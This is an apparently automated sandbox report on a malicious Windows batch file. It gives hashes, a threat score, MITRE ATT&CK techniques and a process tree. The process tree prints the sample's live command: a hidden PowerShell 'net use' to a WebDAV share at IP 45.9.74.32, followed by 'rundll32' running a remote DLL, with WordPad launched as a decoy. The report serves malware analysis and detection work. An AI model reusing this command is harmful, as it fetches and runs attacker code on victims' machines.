a847964b026d52acba8e71b0d71e47dd861d50b632527f839597aff9f2d4199a

Analysis

max time kernel
100s
max time network
95s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
15/07/2024, 08:33

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General

Target

28616195941126932125.bat
Size

2KB
MD5

b41047fe8d119c6791306006dd14b9e5
SHA1

7174ac845d217f6eede3f5ef24ee69365f953769
SHA256

a847964b026d52acba8e71b0d71e47dd861d50b632527f839597aff9f2d4199a
SHA512

a8714b923a51d0635e31e70289feaa72eb36f755cc5c685c71b8c10dde16faece5fab7000b6c18a4ad74a25beb71a1c8d10c9f475d1a1d6f9c40c5fe290cf1d4

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4276	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2990742725-2267136959-192470804-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4276	powershell.exe
4276	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4276	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
1212	wordpad.exe
1212	wordpad.exe
1212	wordpad.exe
1212	wordpad.exe
1212	wordpad.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4800 wrote to memory of 1212	4800	cmd.exe	85
PID 4800 wrote to memory of 1212	4800	cmd.exe	85
PID 4800 wrote to memory of 4276	4800	cmd.exe	87
PID 4800 wrote to memory of 4276	4800	cmd.exe	87
PID 4276 wrote to memory of 3212	4276	powershell.exe	89
PID 4276 wrote to memory of 3212	4276	powershell.exe	89
PID 4276 wrote to memory of 2964	4276	powershell.exe	90
PID 4276 wrote to memory of 2964	4276	powershell.exe	90

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\28616195941126932125.bat"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4800
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:1212
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.32@8888\davwwwroot\ ; rundll32 \\45.9.74.32@8888\davwwwroot\1487.dll,entry
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4276
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.32@8888\davwwwroot\
    3⤵
    PID:3212
- - C:\Windows\system32\rundll32.exe
    "C:\Windows\system32\rundll32.exe" \\45.9.74.32@8888\davwwwroot\1487.dll,entry
    3⤵
    PID:2964

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
1⤵
PID:3636

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_c0j0rlpu.4mc.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4276-9-0x000001ABC0560000-0x000001ABC0582000-memory.dmp

Filesize
136KB

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